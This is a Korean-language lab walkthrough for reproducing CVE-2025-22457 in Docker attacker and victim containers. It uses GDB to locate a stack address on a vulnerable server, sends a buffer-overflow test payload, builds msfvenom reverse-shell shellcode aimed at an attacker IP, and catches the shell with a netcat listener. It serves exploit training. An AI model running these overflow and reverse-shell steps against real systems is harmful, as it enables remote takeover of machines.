
CVE-2025-22457을 재현하는 실습 랩: Docker 공격자/피해자 컨테이너를 설정하고, GDB로 스택 주소를 찾아 msfvenom 리버스 셸 익스플로잇을 전달합니다.
Windows를 사용하는 경우 wsl을 열어 실행할 수 있습니다
chmod +x setup_environment.sh
./setup_environment.sh
메모리 주소와 IP는 환경마다 동적으로 변하기 때문에 수동으로 찾아서 exploit.py 스크립트를 업데이트해야 합니다.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
이 단계의 목표는 payload가 정확하게 점프할 수 있도록 안정적인 스택 주소를 찾는 것입니다.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
브레이크포인트 트리거: attacker docker를 사용하여 다음 명령을 실행해 테스트 payload를 전송합니다. 그러면 GDB가 브레이크포인트에서 멈춥니다. 주의: <VICTIM_IP>를 step 1에서 표시된 Victim IP로 바꾸세요.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
주소를 찾아 기록: GDB가 있는 터미널 창으로 돌아가면 프로그램이 이미 멈춰 있을 것입니다. 다음 명령을 실행해 스택을 확인합니다:
(gdb) x/200wx $esp
출력에서 0x43434343 ('C'를 나타냄)으로 구성된 영역을 찾습니다. 이 영역의 중간에서 아무 주소나 하나 골라 (예: 0xffffd580) 복사합니다. 이것이 stack_address입니다.
텍스트 편집기로 exploit.py의 stack_address를 방금 복사한 address로 업데이트합니다
attacker 컨테이너의 shell에서 msfvenom 명령을 실행해 shellcode를 생성합니다. 주의: <ATTACKER_IP>를 step 1에서 표시된 Attacker IP로 바꾸세요.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
msfvenom 출력의 buf = b""... 코드 전체를 복사해서 exploit.py 파일에 있는 기존 buf 변수 부분을 완전히 대체합니다.
nc -lvnp 4444
다음 두 가지 방법을 사용할 수 있습니다 방법 1
./vulnserver
방법 2
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
결과 확인: netcat 리스너가 있는 창으로 다시 전환합니다. 모든 것이 순조롭게 진행되면 연결이建立된 것을 볼 수 있고 상호작용 가능한 shell을 얻습니다. whoami, ls -la 등의 명령을 입력해 확인할 수 있습니다.
GDB에서 quit을 입력한 다음 컨테이너 shell에서 exit을 입력합니다.
docker stop vic atac
docker network rm 111550082_net